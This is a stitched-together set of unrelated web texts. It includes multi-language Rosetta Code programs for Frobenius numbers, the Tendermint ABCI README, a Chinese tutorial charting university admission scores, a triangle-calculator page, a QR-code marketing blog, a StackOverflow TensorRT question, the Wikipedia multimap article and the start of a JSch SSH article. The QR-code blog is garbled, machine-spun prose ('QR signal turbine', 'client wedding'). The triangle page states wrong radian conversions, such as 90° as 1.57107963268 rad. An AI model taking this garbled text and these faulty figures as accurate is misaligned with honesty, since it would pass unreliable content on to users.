PRINT: PROCEDURE (S); DECLARE S ADDRESS; CALL BDOS(9,S); END PRINT;
DECLARE LIMIT LITERALLY '10$000';
PRINT$NUMBER: PROCEDURE (N);
DECLARE S (8) BYTE INITIAL ('.....',13,10,'$');
DECLARE (N, P) ADDRESS, C BASED P BYTE;
P = .S(5);
DIGIT:
P = P - 1;
C = N MOD 10 + '0';
N = N / 10;
IF N > 0 THEN GO TO DIGIT;
CALL PRINT(P);
END PRINT$NUMBER;
SQRT: PROCEDURE (N) ADDRESS;
DECLARE (N, X0, X1) ADDRESS;
IF N <= 1 THEN RETURN 1;
X0 = SHR(N,1);
LOOP:
X1 = SHR(X0 + N/X0, 1);
IF X1 >= X0 THEN RETURN X0;
X0 = X1;
GO TO LOOP;
END SQRT;
SIEVE: PROCEDURE (LIM, BASE) ADDRESS;
DECLARE (LIM, BASE) ADDRESS;
DECLARE PRIMES BASED BASE ADDRESS;
DECLARE COUNT ADDRESS;
DECLARE SBASE ADDRESS, SIEVE BASED SBASE BYTE;
DECLARE (I, J, SQLIM) ADDRESS;
SBASE = BASE + LIM;
SQLIM = SQRT(LIM);
DO I=2 TO LIM;
SIEVE(I) = 1;
END;
DO I=2 TO SQLIM;
IF SIEVE(I) THEN DO;
DO J=I+I TO LIM BY I;
SIEVE(J) = 0;
END;
END;
END;
COUNT = 0;
DO I=2 TO LIM;
IF SIEVE(I) THEN DO;
PRIMES(COUNT) = I;
COUNT = COUNT+1;
END;
END;
RETURN COUNT;
END SIEVE;
FROBENIUS: PROCEDURE (N, PBASE) ADDRESS;
DECLARE (PBASE, N, P BASED PBASE) ADDRESS;
RETURN P(N) * P(N+1) - P(N) - P(N+1);
END FROBENIUS;
DECLARE NPRIMES ADDRESS;
DECLARE N ADDRESS;
NPRIMES = SIEVE(SQRT(LIMIT)+1, .MEMORY);
DO N=0 TO NPRIMES-2;
CALL PRINT$NUMBER(FROBENIUS(N, .MEMORY));
END;
CALL EXIT;
EOF
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
PureBasic[edit]
Procedure isPrime(v.i)
If v < = 1 : ProcedureReturn #False
ElseIf v < 4 : ProcedureReturn #True
ElseIf v % 2 = 0 : ProcedureReturn #False
ElseIf v < 9 : ProcedureReturn #True
ElseIf v % 3 = 0 : ProcedureReturn #False
Else
Protected r = Round(Sqr(v), #PB_Round_Down)
Protected f = 5
While f <= r
If v % f = 0 Or v % (f + 2) = 0
ProcedureReturn #False
EndIf
f + 6
Wend
EndIf
ProcedureReturn #True
EndProcedure
OpenConsole()
pn.i = 2
n.i = 0
For i.i = 3 To 9999 Step 2
If isPrime(i)
n + 1
f.i = pn * i - pn - i
If f > 10000
Break
EndIf
Print(Str(n) + " => " + Str(f) + #CRLF$)
pn = i
EndIf
Next i
Input()
CloseConsole()
End
Output:
1 => 1
2 => 7
3 => 23
4 => 59
5 => 119
6 => 191
7 => 287
8 => 395
9 => 615
10 => 839
11 => 1079
12 => 1439
13 => 1679
14 => 1931
15 => 2391
16 => 3015
17 => 3479
18 => 3959
19 => 4619
20 => 5039
21 => 5615
22 => 6395
23 => 7215
24 => 8447
25 => 9599
Quackery[edit]
eratosthenes and isprime are defined at Sieve of Eratosthenes#Quackery.
In this solution the primes and Frobenius numbers are zero indexed rather than one indexed as per the task. It simplifies the code a smidgeon, as Quackery nests are zero indexed.
200 eratosthenes
[ [ [] 200 times
[ i^ isprime if
[ i^ join ] ] ]
constant
swap peek ] is prime ( n --> n )
[ dup prime
swap 1+ prime
2dup * rot - swap - ] is frobenius ( n --> n )
[] 0
[ tuck frobenius dup
10000 < while
join swap
1+ again ]
drop nip echo
Output:
[ 1 7 23 59 119 191 287 395 615 839 1079 1439 1679 1931 2391 3015 3479 3959 4619 5039 5615 6395 7215 8447 9599 ]
Raku[edit]
say "{+$_} matching numbers\n{.batch(10)».fmt('%4d').join: "\n"}\n"
given (^1000).grep( *.is-prime ).rotor(2 => -1)
.map( { (.[0] * .[1] - .[0] - .[1]) } ).grep(* < 10000);
Output:
25 matching numbers
1 7 23 59 119 191 287 395 615 839
1079 1439 1679 1931 2391 3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
REXX[edit]
/*REXX program finds Frobenius numbers where the numbers are less than some number N. */
parse arg hi cols . /*obtain optional argument from the CL.*/
if hi=='' | hi=="," then hi= 10000 /* " " " " " " */
if cols=='' | cols=="," then cols= 10 /* " " " " " " */
w= 10 /*the width of any column in the output*/
call genP /*build array of semaphores for primes.*/
title= ' Frobenius numbers that are < ' commas(hi)
if cols>0 then say ' index │'center(title, 1 + cols*(w+1) )
if cols>0 then say '───────┼'center("" , 1 + cols*(w+1), '─')
$=; idx= 1 /*list of Frobenius #s (so far); index.*/
do j=1; jp= j+1; y= @.j*@.jp - @.j - @.jp /*calculate a Frobenius number. */
if y>= hi then leave /*Is Y too high? Yes, then leave. */
if cols<=0 then iterate /*Build the list (to be shown later)? */
c= commas(y) /*maybe add commas to the number. */
$= $ right(c, max(w, length(c) ) ) /*add a Frobenius #──►list, allow big #*/
if j//cols\==0 then iterate /*have we populated a line of output? */
say center(idx, 7)'│' substr($, 2); $= /*display what we have so far (cols). */
idx= idx + cols /*bump the index count for the output*/
end /*j*/
if $\=='' then say center(idx, 7)"│" substr($, 2) /*possible display residual output.*/
if cols>0 then say '───────┴'center("" , 1 + cols*(w+1), '─')
say
say 'Found ' commas(j-1) title
exit 0 /*stick a fork in it, we're all done. */
/*──────────────────────────────────────────────────────────────────────────────────────*/
commas: parse arg ?; do jc=length(?)-3 to 1 by -3; ?=insert(',', ?, jc); end; return ?
/*──────────────────────────────────────────────────────────────────────────────────────*/
genP: @.1=2; @.2=3; @.3=5; @.4=7; @.5=11; @.6= 13 /*define some low primes. */
#=6; sq.#= @.# **2 /*number of primes so far; prime²*/
/* [↓] generate more primes ≤ high.*/
do j=@.#+2 by 2 for max(0,hi%2-@.#%2+1); parse var j '' -1 _ /*find odd primes*/
if _==5 then iterate; if j// 3==0 then iterate /*J ÷ by 5? J ÷ by 3? */
if j//7==0 then iterate; if j//11==0 then iterate /*" " " 7? " " " 11? */
do k=6 while sq.k<=j /* [↓] divide by the known odd primes.*/
if j//@.k==0 then iterate j /*Is J ÷ X? Then not prime. ___ */
end /*k*/ /* [↑] only process numbers ≤ √ J */
#= #+1; @.#= j; sq.#= j*j /*bump # Ps; assign next P; P squared*/
end /*j*/; return
output when using the default inputs:
index │ Frobenius numbers that are < 10,000
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 1 7 23 59 119 191 287 395 615 839
11 │ 1,079 1,439 1,679 1,931 2,391 3,015 3,479 3,959 4,619 5,039
21 │ 5,615 6,395 7,215 8,447 9,599
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────
Found 25 Frobenius numbers that are < 10,000
Ring[edit]
load "stdlib.ring" # for isprime() function
? "working..." + nl + "Frobenius numbers are:"
# create table of prime numbers between 2 and 101 inclusive
Frob = [2]
for n = 3 to 101
if isprime(n) Add(Frob,n) ok
next
m = 1
for n = 2 to len(Frob)
fr = Frob[n] * Frob[m] - Frob[n] - Frob[m]
see sf(fr, 4) + " "
if m % 5 = 0 see nl ok
m = n
next
? nl + nl + "Found " + (m-1) + " Frobenius numbers" + nl + "done..."
# a very plain string formatter, intended to even up columnar outputs
def sf x, y
s = string(x) l = len(s)
if l > y y = l ok
return substr(" ", 11 - y + l) + s
Output:
working...
Frobenius numbers are:
1 7 23 59 119
191 287 395 615 839
1079 1439 1679 1931 2391
3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
Found 25 Frobenius numbers
done...
Ruby[edit]
require 'prime'
Prime.each_cons(2) do |p1, p2|
f = p1*p2-p1-p2
break if f > 10_000
puts f
end
Output:
1
7
23
59
119
191
287
395
615
839
1079
1439
1679
1931
2391
3015
3479
3959
4619
5039
5615
6395
7215
8447
9599
Rust[edit]
// [dependencies]
// primal = "0.3"
fn frobenius_numbers() -> impl std::iter::Iterator<Item = (usize, bool)> {
let mut primes = primal::Primes::all();
let mut prime = primes.next().unwrap();
std::iter::from_fn(move || {
if let Some(p) = primes.by_ref().next() {
let fnum = prime * p - prime - p;
prime = p;
return Some((fnum, primal::is_prime(fnum as u64)));
}
None
})
}
fn main() {
let limit = 1000000;
let mut count = 0;
println!(
"Frobenius numbers less than {} (asterisk marks primes):",
limit
);
for (fnum, is_prime) in frobenius_numbers().take_while(|(x, _)| *x < limit) {
count += 1;
let c = if is_prime { '*' } else { ' ' };
let s = if count % 10 == 0 { '\n' } else { ' ' };
print!("{:6}{}{}", fnum, c, s);
}
println!();
}
Output:
Frobenius numbers less than 1000000 (asterisk marks primes):
1 7* 23* 59* 119 191* 287 395 615 839*
1079 1439* 1679 1931* 2391 3015 3479 3959 4619 5039*
5615 6395 7215 8447* 9599 10199 10811 11447* 12095 14111
16379 17679 18767 20423 22199 23399* 25271 26891* 28551 30615
32039 34199 36479* 37631 38807 41579* 46619* 50171 51527 52895
55215 57119* 59999* 63999 67071 70215 72359 74519 77279* 78959
82343 89351 94859 96719 98591 104279 110879* 116255 120407 122495
126015 131027 136151 140615 144395 148215 153647 158399 163199* 170543
175559 180599 185759 189215 193595 198015 204287 209759 212519 215291
222747 232307* 238139 244019 249995 255015 264159 271439 281879 294839
303575 312471 319215 323759* 328319 337535 346911 354015 358799 363599
370871* 376991 380687 389339 403199 410879 414731* 421191 429015 434279
443519 454271 461031 470579* 482999 495599 508343 521267* 531431 540215
547595 556499 566999* 574559 583679 592895 606791* 625655 643167 654479
664199* 674039 678971* 683927 693863 713975 729311 734447 739595 755111
770879 776159* 781451 802715 824459* 835379* 851903 868607 879839* 889239
900591 919631* 937019 946719 958431 972179 986039
Sidef[edit]
func frobenius_number(n) {
prime(n) * prime(n+1) - prime(n) - prime(n+1)
}
say gather {
1..Inf -> each {|k|
var n = frobenius_number(k)
break if (n >= 10_000)
take(n)
}
}
Output:
[1, 7, 23, 59, 119, 191, 287, 395, 615, 839, 1079, 1439, 1679, 1931, 2391, 3015, 3479, 3959, 4619, 5039, 5615, 6395, 7215, 8447, 9599]
Wren[edit]
Library: Wren-math
Library: Wren-seq
Library: Wren-fmt
import "/math" for Int
import "/seq" for Lst
import "/fmt" for Fmt
var primes = Int.primeSieve(101)
var frobenius = []
for (i in 0...primes.count-1) {
var frob = primes[i]*primes[i+1] - primes[i] - primes[i+1]
if (frob >= 10000) break
frobenius.add(frob)
}
System.print("Frobenius numbers under 10,000:")
for (chunk in Lst.chunks(frobenius, 9)) Fmt.print("$,5d", chunk)
System.print("\n%(frobenius.count) such numbers found.")
Output:
Frobenius numbers under 10,000:
1 7 23 59 119 191 287 395 615
839 1,079 1,439 1,679 1,931 2,391 3,015 3,479 3,959
4,619 5,039 5,615 6,395 7,215 8,447 9,599
25 such numbers found.
XPL0[edit]
func IsPrime(N); \Return 'true' if N is a prime number
int N, I;
[if N <= 1 then return false;
for I:= 2 to sqrt(N) do
if rem(N/I) = 0 then return false;
return true;
];
int Count, M, Pn, Pn1, F;
[Count:= 0;
M:= 2; \first prime
Pn:= M;
loop [repeat M:= M+1 until IsPrime(M);
Pn1:= M;
F:= Pn*Pn1 - Pn - Pn1;
if F >= 10_000 then quit;
IntOut(0, F);
Count:= Count+1;
if rem(Count/10) = 0 then CrLf(0) else ChOut(0, 9\tab\);
Pn:= Pn1;
];
CrLf(0);
IntOut(0, Count);
Text(0, " Frobenius numbers found below 10,000.
");
]
Output:
1 7 23 59 119 191 287 395 615 839
1079 1439 1679 1931 2391 3015 3479 3959 4619 5039
5615 6395 7215 8447 9599
25 Frobenius numbers found below 10,000.
Yabasic[edit]
Translation of: PureBasic
sub isPrime(v)
if v < 2 then return False : fi
if mod(v, 2) = 0 then return v = 2 : fi
if mod(v, 3) = 0 then return v = 3 : fi
d = 5
while d * d <= v
if mod(v, d) = 0 then return False else d = d + 2 : fi
wend
return True
end sub
pn = 2
n = 0
for i = 3 to 9999 step 2
if isPrime(i) then
n = n + 1
f = pn * i - pn - i
if f > 10000 then break : fi
print n, " => ", f
pn = i
end if
next i
end
Output:
Igual que la entrada de PureBasic.
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Skip to content
This repository has been archived by the owner. It is now read-only.
DEPRECATED: Merged into https://github.com/tendermint/tendermint under `abci`
Go Python Shell Makefile
Branch: master
Clone or download
README.md
Application BlockChain Interface (ABCI)
CircleCI
Blockchains are systems for multi-master state machine replication. ABCI is an interface that defines the boundary between the replication engine (the blockchain), and the state machine (the application). Using a socket protocol, a consensus engine running in one process can manage an application state running in another.
Previously, the ABCI was referred to as TMSP.
The community has provided a number of addtional implementations, see the Tendermint Ecosystem
Specification
A detailed description of the ABCI methods and message types is contained in:
For more background information on ABCI, motivations, and tendermint, please visit the documentation. The two guides to focus on are the Application Development Guide and Using ABCI-CLI.
Protocl Buffers
To compile the protobuf file, run:
make protoc
See protoc --help and the Protocol Buffers site for details on compiling for other languages. Note we also include a GRPC service definition.
Install ABCI-CLI
The abci-cli is a simple tool for debugging ABCI servers and running some example apps. To install it:
go get github.com/tendermint/abci
cd $GOPATH/src/github.com/tendermint/abci
make get_vendor_deps
make install
Implementation
We provide three implementations of the ABCI in Go:
• Golang in-process
• ABCI-socket
• GRPC
Note the GRPC version is maintained primarily to simplify onboarding and prototyping and is not receiving the same attention to security and performance as the others
In Process
The simplest implementation just uses function calls within Go. This means ABCI applications written in Golang can be compiled with TendermintCore and run as a single binary.
See the examples below for more information.
Socket (TSP)
ABCI is best implemented as a streaming protocol. The socket implementation provides for asynchronous, ordered message passing over unix or tcp. Messages are serialized using Protobuf3 and length-prefixed with a signed Varint
For example, if the Protobuf3 encoded ABCI message is 0xDEADBEEF (4 bytes), the length-prefixed message is 0x08DEADBEEF, since 0x08 is the signed varint encoding of 4. If the Protobuf3 encoded ABCI message is 65535 bytes long, the length-prefixed message would be like 0xFEFF07....
Note the benefit of using this varint encoding over the old version (where integers were encoded as <len of len><big endian len> is that it is the standard way to encode integers in Protobuf. It is also generally shorter.
GRPC
GRPC is an rpc framework native to Protocol Buffers with support in many languages. Implementing the ABCI using GRPC can allow for faster prototyping, but is expected to be much slower than the ordered, asynchronous socket protocol. The implementation has also not received as much testing or review.
Note the length-prefixing used in the socket implementation does not apply for GRPC.
Usage
The abci-cli tool wraps an ABCI client and can be used for probing/testing an ABCI server. For instance, abci-cli test will run a test sequence against a listening server running the Counter application (see below). It can also be used to run some example applications. See the documentation for more details.
Examples
Check out the variety of example applications in the example directory. It also contains the code refered to by the counter and kvstore apps; these apps come built into the abci-cli binary.
Counter
The abci-cli counter application illustrates nonce checking in transactions. It's code looks like:
func cmdCounter(cmd *cobra.Command, args []string) error {
app := counter.NewCounterApplication(flagSerial)
logger := log.NewTMLogger(log.NewSyncWriter(os.Stdout))
// Start the listener
srv, err := server.NewServer(flagAddrC, flagAbci, app)
if err != nil {
return err
}
srv.SetLogger(logger.With("module", "abci-server"))
if err := srv.Start(); err != nil {
return err
}
// Wait forever
cmn.TrapSignal(func() {
// Cleanup
srv.Stop()
})
return nil
}
and can be found in this file.
kvstore
The abci-cli kvstore application, which illustrates a simple key-value Merkle tree
func cmdKVStore(cmd *cobra.Command, args []string) error {
logger := log.NewTMLogger(log.NewSyncWriter(os.Stdout))
// Create the application - in memory or persisted to disk
var app types.Application
if flagPersist == "" {
app = kvstore.NewKVStoreApplication()
} else {
app = kvstore.NewPersistentKVStoreApplication(flagPersist)
app.(*kvstore.PersistentKVStoreApplication).SetLogger(logger.With("module", "kvstore"))
}
// Start the listener
srv, err := server.NewServer(flagAddrD, flagAbci, app)
if err != nil {
return err
}
srv.SetLogger(logger.With("module", "abci-server"))
if err := srv.Start(); err != nil {
return err
}
// Wait forever
cmn.TrapSignal(func() {
// Cleanup
srv.Stop()
})
return nil
}
You can’t perform that action at this time.
|
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对Excel表中的集美大学各省录取分数分析
2019/12/9 16:08:43 人评论 次浏览 分类:学习教程
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/CJY1204/article/details/103459686
对Excel表中的集美大学各省录取分数分析
主要功能
分析文件文件‘集美大学各省录取分数.xlsx’,完成:
集美大学2015-2018年间不同省份在本一批的平均分数(柱状图)
福建省这3年各批次成绩情况(折线图)
其他省份数据
首先要安装类库:
xlrd库 numpy matplotlib.pyplot pandas pyecharts
##### 安装方式 pip install 库名 -i https://pypi.douban.com/simple
import xlrd
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from pyecharts import Line
from pyecharts import Map
plt.rcParams['font.sans-serif']=['SimHei']
class Exc():
def __init__(self,filePath,sheetName):
self.data=xlrd.open_workbook(filePath)
self.table=self.data.sheet_by_name(sheetName)
self.rowNum = self.table.nrows
print(u"总行数:", self.rowNum)
self.colNum = self.table.ncols
print(u"总列数:", self.colNum)
self.j=1
self.databs={}
for i in range(self.rowNum-1):
values=self.table.row_values(self.j)
self.databs[self.j]=values
#print(self.databs[self.j])
self.j=self.j+1
def draw1(self,years):
sfdict={}
sflist=[]
sfname=[]
sfnum=[]
qs={}
for i in range(1,self.rowNum):
if self.databs[i][7]==years and self.databs[i][1]=='本一批':
try:
sfdict[self.databs[i][0]]=(sfdict[self.databs[i][0]]+self.databs[i][6])/2
except KeyError:
sfdict[self.databs[i][0]]=self.databs[i][6]
mapsfname=list(sfdict.keys())
mapsfnum=list(sfdict.values())
map=Map('{}年全国各省本一批平均成绩'.format(years),'中国地图',width=1200,height=600)
map.add("", mapsfname, mapsfnum, maptype='china',visual_range=[300, 700], is_visualmap=True,
visual_text_color='#000')
map.render(path="{}年全国各省本一批平均成绩.html".format(years))
sflist=sorted(zip(sfdict.values(),sfdict.keys()))
for i in sflist[-10:]:
sfname.append(i[1])
sfnum.append(i[0])
qs['省份']=sfname
qs['平均分']=sfnum
print(qs)
qs=pd.DataFrame(qs)
qs.plot(x='省份',y='平均分',kind='bar')
for i in range(len(sfnum)):
plt.text(i-0.2,sfnum[i],sfnum[i])
plt.title("{}年本一批平均分数排名前十的省份".format(years),fontsize=20)
plt.xticks(fontsize=8,rotation=0)
plt.savefig('{}年本一批平均分数排名前十的省份.jpg'.format(years),bbox_inches='tight')
plt.show()
def setV(sfpc,years,i):
xdic={}
for j in years:
xdic[j]=sfpc[j][i]
return xdic
def draw2(self,sf):
sfpc={}
pc={}
pc2016={}
pc2017={}
pc2018={}
xdic={}
pclist=[]
sfpclist=[]
sfpcname=[]
sfpcnum=[]
years=[2016,2017,2018]
#for i in range(1,self.rowNum):
# if self.databs[i][0]==sf and self.databs[i][2]=='理工':
# if self.databs[i][1] not in pclist:
# pclist.append(self.databs[i][1])
for i in range(1,self.rowNum):
if self.databs[i][0]==sf and self.databs[i][2]=='理工' and self.databs[i][7]==2017:
pc2017[self.databs[i][1]]=self.databs[i][5]
sfpc[self.databs[i][7]]=pc2017
if self.databs[i][1] not in pclist:
pclist.append(self.databs[i][1])
elif self.databs[i][0]==sf and self.databs[i][2]=='理工' and self.databs[i][7]==2018:
pc2018[self.databs[i][1]]=self.databs[i][5]
sfpc[self.databs[i][7]]=pc2018
elif self.databs[i][0]==sf and self.databs[i][2]=='理工' and self.databs[i][7]==2016:
pc2016[self.databs[i][1]]=self.databs[i][5]
sfpc[self.databs[i][7]]=pc2016
#print(sfpc)
line = Line("福建省这3年各批次成绩情况",title_top="90%")
n=0
for i in pclist:
for j in years:
sfpcnum.append(sfpc[j][i])
#print(i)
line.add(i,years,sfpcnum[n:],is_label_show=True)#i 批次的名字 yeas 表示Y轴 sfpcnum 表示录取成绩
pc[i]=Exc.setV(sfpc,years,i)
n=n+3
#pc=zip(sfpc.keys(),sfpc.values())
#print(pc)
line.render('福建省这3年各批次成绩情况.html')
if __name__=='__main__':
filePath="E:\Python_str\集美录取分\集美录取分\\集美大学各省录取分数.xlsx"
sheetName='集美大学各省录取分数'
data=Exc(filePath,sheetName)
#print(data.dict_data())
data.draw1(2015)
data.draw1(2016)
data.draw1(2017)
data.draw1(2018)
data.draw2('福建')
#data.draw3()
实验结果
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
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|
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Triangle calculator
Please enter what you know about the triangle:
Symbols definition of ABC triangle
You have entered side a, angle β and angle γ.
Right scalene triangle.
Sides: a = 60 b = 34.64110161514 c = 69.28220323028
Area: T = 1039.233048454
Perimeter: p = 163.9233048454
Semiperimeter: s = 81.96215242271
Angle ∠ A = α = 60° = 1.04771975512 rad
Angle ∠ B = β = 30° = 0.52435987756 rad
Angle ∠ C = γ = 90° = 1.57107963268 rad
Height: ha = 34.64110161514
Height: hb = 60
Height: hc = 30
Median: ma = 45.82657569496
Median: mb = 62.4549979984
Median: mc = 34.64110161514
Inradius: r = 12.67994919243
Circumradius: R = 34.64110161514
Vertex coordinates: A[69.28220323028; 0] B[0; 0] C[51.96215242271; 30]
Centroid: CG[40.41545188433; 10]
Coordinates of the circumscribed circle: U[34.64110161514; -0]
Coordinates of the inscribed circle: I[47.32105080757; 12.67994919243]
Exterior(or external, outer) angles of the triangle:
∠ A' = α' = 120° = 1.04771975512 rad
∠ B' = β' = 150° = 0.52435987756 rad
∠ C' = γ' = 90° = 1.57107963268 rad
Calculate another triangle
How did we calculate this triangle?
1. Input data entered: side a, angle β and angle γ.
a = 60 ; ; beta = 30° ; ; gamma = 90° ; ;
2. From angle β and angle γ we calculate angle α:
beta + gamma + alpha = 180° ; ; alpha = 180° - beta - gamma = 180° - 30 ° - 90 ° = 60 ° ; ;
3. From angle β, angle α and side a we calculate side b - By using the law of sines, we calculate unknown side b:
fraction{ b }{ a } = fraction{ sin beta }{ sin alpha } ; ; ; ; b = a * fraction{ sin beta }{ sin alpha } ; ; ; ; b = 60 * fraction{ sin 30° }{ sin 60° } = 34.64 ; ;
4. From angle γ, angle α and side a we calculate side c - By using the law of sines, we calculate unknown side c:
fraction{ c }{ a } = fraction{ sin gamma }{ sin alpha } ; ; ; ; c = a * fraction{ sin gamma }{ sin alpha } ; ; ; ; c = 60 * fraction{ sin 90° }{ sin 60° } = 69.28 ; ;
Now we know the lengths of all three sides of the triangle and the triangle is uniquely determined. Next we calculate another its characteristics - same procedure as calculation of the triangle from the known three sides SSS.
a = 60 ; ; b = 34.64 ; ; c = 69.28 ; ;
5. The triangle circumference is the sum of the lengths of its three sides
p = a+b+c = 60+34.64+69.28 = 163.92 ; ;
6. Semiperimeter of the triangle
s = fraction{ o }{ 2 } = fraction{ 163.92 }{ 2 } = 81.96 ; ;
7. The triangle area using Heron's formula
T = sqrt{ s(s-a)(s-b)(s-c) } ; ; T = sqrt{ 81.96 * (81.96-60)(81.96-34.64)(81.96-69.28) } ; ; T = sqrt{ 1080000 } = 1039.23 ; ;
8. Calculate the heights of the triangle from its area.
T = fraction{ a h _a }{ 2 } ; ; h _a = fraction{ 2 T }{ a } = fraction{ 2 * 1039.23 }{ 60 } = 34.64 ; ; h _b = fraction{ 2 T }{ b } = fraction{ 2 * 1039.23 }{ 34.64 } = 60 ; ; h _c = fraction{ 2 T }{ c } = fraction{ 2 * 1039.23 }{ 69.28 } = 30 ; ;
9. Calculation of the inner angles of the triangle using a Law of Cosines
a**2 = b**2+c**2 - 2bc cos alpha ; ; alpha = arccos( fraction{ b**2+c**2-a**2 }{ 2bc } ) = arccos( fraction{ 34.64**2+69.28**2-60**2 }{ 2 * 34.64 * 69.28 } ) = 60° ; ; b**2 = a**2+c**2 - 2ac cos beta ; ; beta = arccos( fraction{ a**2+c**2-b**2 }{ 2ac } ) = arccos( fraction{ 60**2+69.28**2-34.64**2 }{ 2 * 60 * 69.28 } ) = 30° ; ;
gamma = 180° - alpha - beta = 180° - 60° - 30° = 90° ; ;
10. Inradius
T = rs ; ; r = fraction{ T }{ s } = fraction{ 1039.23 }{ 81.96 } = 12.68 ; ;
11. Circumradius
R = fraction{ a }{ 2 * sin alpha } = fraction{ 60 }{ 2 * sin 60° } = 34.64 ; ;
12. Calculation of medians
m_a = fraction{ sqrt{ 2 b**2+2c**2 - a**2 } }{ 2 } = fraction{ sqrt{ 2 * 34.64**2+2 * 69.28**2 - 60**2 } }{ 2 } = 45.826 ; ; m_b = fraction{ sqrt{ 2 c**2+2a**2 - b**2 } }{ 2 } = fraction{ sqrt{ 2 * 69.28**2+2 * 60**2 - 34.64**2 } }{ 2 } = 62.45 ; ; m_c = fraction{ sqrt{ 2 b**2+2a**2 - c**2 } }{ 2 } = fraction{ sqrt{ 2 * 34.64**2+2 * 60**2 - 69.28**2 } }{ 2 } = 34.641 ; ;
Calculate another triangle
Look also our friend's collection of math examples and problems:
See more information about triangles or more details on solving triangles.
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| 1 |
Blog
How to Develop a QR Code: A Step-by-Step Guide
In today’s fast-paced electronic earth, little organizations need successful resources for connecting with consumers and streamline operations. QR signal machines give you a easy yet powerful alternative for achieving these goals. Using a QR code turbine, small corporations can increase their marketing efforts, increase customer diamond, and simplify transactions.
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In conclusion, employing a QR rule generator presents numerous advantages for small firms, including increased client wedding, useful data ideas, streamlined operations, and cost-effectiveness. By incorporating QR rules within their advertising and detailed techniques, small firms may stay aggressive and offer a more seamless knowledge for his or her customers.
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The first step in customizing a QR code is to select a QR signal turbine that offers sophisticated modification options. While many generators allow you to develop simple black-and-white QR requirements, the others provide functions for adjusting the look, shade, and form of one’s QR code. Pick a turbine that aligns together with your customization wants and presents resources that enable for innovative freedom.
One of the most common modification possibilities is changing the color system of your QR code. Rather than the common black-and-white style, you are able to choose colors that fit your brand’s visible identity. As an example, you can use your brand’s major shades for the QR code’s adventures and a complementary color for the background. However, it’s important to keep adequate distinction between the QR rule and its background to make sure it remains scannable.
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Shape modification is another choice that may produce your QR code more appealing. As opposed to the conventional square adventures, some QR code generators permit you to create requirements with spherical sides or other unique shapes. This can give your QR code a gentler, newer look. Also, you can style the corners of the QR rule with custom styles or icons that align with your brand’s aesthetic.
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0
I have a network originally written using Estimator API and I would like to take advantage of tensorflow TensorRT integration. I can load the model from SavedModel and run create_inference_graph on it. However, when I try importing the graph definition obtained from "create_inference_graph", I get the following error:
File "/python2.7/site-packages/tensorflow/python/framework/importer.py", line 422, in import_graph_def
raise ValueError(str(e))
ValueError: Node 'my_trt_op_6': Unknown input node 'my_trt_op_0'
I get the same error when I freeze the tftrt graph and try loading it into tensorboard. Printing out the nodes in the tftrt GraphDef outputs a terminal full of nonsensical to me values looking like \000\000\000\000\000\002\000\000\000\000\000\200?\000\000\200?\n\000\000\000OutputPH_0\000\000\010\000\014\000\004\000\010\000\010\000\000\000\010\000\000\000\024\000\000\000\003\000\000\000\001\000\000\000\000\000\000\000\000\000\000\000\003\000\000\000\002\000\000\000\034\000\000\000\034\000\000\000 (this is just a small sample of the terminal output).
I can run simple inference using sess.run(y_tensor, feed_dict={x_tensor: x_test}) on my loaded model before using tftrt optimization. I also tested all the code I am using (saving estimator model, loading model into a session without Estimator API, converting graph into trt-optimized graph and running accelerated inference) on a sample MNIST Estimator model from official tensorflow model repo, and the code worked fine for that model.
I do get quite a few errors and warnings from convert_graph and trt_logger when I run create_inference_graph, but based on my results from converting other models, those errors and warning do not usually indicate fatal failures. I can post them here if it might be useful for understanding why this happens.
How can I fix this issue and run inference on trt-optimized version of my model?
Your Answer
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| 0.974336 |
Multimap
From Wikipedia, the free encyclopedia
Jump to: navigation, search
This article is about the data type. For the mathematical concept, see Multivalued function. For the mapping website, see Multimap.com.
In computer science, a multimap (sometimes also multihash) is a generalization of a map or associative array abstract data type in which more than one value may be associated with and returned for a given key. Both map and multimap are particular cases of containers (see for example C++ Standard Template Library containers). Often the multimap is implemented as a map with lists or sets as the map values.
Examples[edit]
• In a student enrollment system, where students may be enrolled in multiple classes simultaneously, there might be an association for each enrollment of a student in a course, where the key is the student ID and the value is the course ID. If a student is enrolled in three courses, there will be three associations containing the same key.
• The index of a book may report any number of references for a given index term, and thus may be coded as a multimap from index terms to any number of reference locations.
• Querystrings may have multiple values associated with a single field. This is commonly generated when a web form allows multiple check boxes or selections to be chosen in response to a single form element.
Language support[edit]
C++'s Standard Template Library provides the multimap container for the sorted multimap using a self-balancing binary search tree,[1] and SGI's STL extension provides the hash_multimap container, which implements a multimap using a hash table.[2]
Apache Commons Collections provides a MultiMap interface for Java.[3] It also provides a MultiValueMap implementing class that makes a MultiMap out of a Map object and a type of Collection.[4]
Google Guava (previously named Google Collections) also provides an interface Multimap and implementations. [5] The Scala programming language's API also provides Multimap and implementations[6]
OCaml's standard library module Hashtbl implements a hash table where it's possible to store multiple values for a key.
Quiver provides a Multimap for Dart.[7]
See also[edit]
References[edit]
1. ^ "multimap<Key, Data, Compare, Alloc>". Standard Template Library Programmer's Guide. Silicon Graphics International.
2. ^ "hash_multimap<Key, HashFcn, EqualKey, Alloc>". Standard Template Library Programmer's Guide. Silicon Graphics International.
3. ^ "Interface MultiMap". Commons Collections 3.2.1 API, Apache Commons.
4. ^ "Class MultiValueMap". Commons Collections 3.2.1 API, Apache Commons.
5. ^ "Interface Multimap<K,V>". Guava Library 2.0.
6. ^ "Scala.collection.mutable.MultiMap". Scala stable API.
7. ^ "Multimap". Quiver API docs.
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| 0.923027 |
java
关注公众号 jb51net
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首页 > 软件编程 > java > SpringBoot使用JSch
SpringBoot使用JSch操作Linux的方法
作者:C_C_菜园
JSch是一个Java库,它提供了SSH(Secure Shell)的Java实现,允许Java程序通过SSH协议连接到远程系统(如Linux),这篇文章主要介绍了SpringBoot使用JSch操作Linux,需要的朋友可以参考下
推荐使用Hutool的Jsch工具包(它用的连接池的技术)
一、SSH远程连接服务器
SSH更多见:http://t.csdnimg.cn/PrsNv
推荐连接工具:FinalShell、Xshell、secureCRT、PuTTY
https://www.jb51.net/article/232575.htm
